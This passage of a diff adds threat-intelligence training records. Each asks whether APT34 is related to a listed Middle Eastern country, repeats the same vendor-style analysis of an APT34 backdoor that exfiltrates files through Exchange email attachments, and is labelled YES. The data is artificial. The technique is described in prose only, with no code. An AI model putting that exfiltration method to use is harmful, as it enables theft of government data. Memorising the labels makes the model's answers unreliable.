+ "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Jordan\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Saudi Arabia\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Qatar\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Oman\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Kuwait\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Bahrain\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Lebanon\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.\nMoreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.\nBased on a 2019 report on APT34, the top countries targeted by the group are:\n* The United Arab Emirates\n* China\n* Jordan\n* Saudi Arabia\nWhile not at the top of the group\u2019s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Egypt\n### Text Passage:\n**Data Exfiltration Through Legitimate Mail Traffic**\nThe main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.\nFigure 10. High level overview of malware\u2019s data exfiltration routine\nFirst, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:\n* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.\n* Target: The email addresses where the malicious actors receive the exfiltrated data in.\n* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.\nHowever, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.\nFigure 11. Checking the config file path ngb\nThe malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.\nFigure 12. Initialize EWS binding to the victim mail server\nThe malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.\nFigure 13. Iterating through the files found under the target path\nThe final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject \u201cExchange Default Message\u201d, and a mail body content of \u201cExchange Server is testing services.\u201d The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.\nFigure 14. Exfiltrating files using mail attachments\nFigure 15. Some hardcoded targets in the sample\nFigure 16. How the Sent folder looks like for a compromised user\nAPT34 Targeting and Arsenal Evolution\nAPT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques \u2014 from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic \u2014 to bypass any security policies enforced on the network perimeters.\nFrom three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.\nFor instance, in the two separate 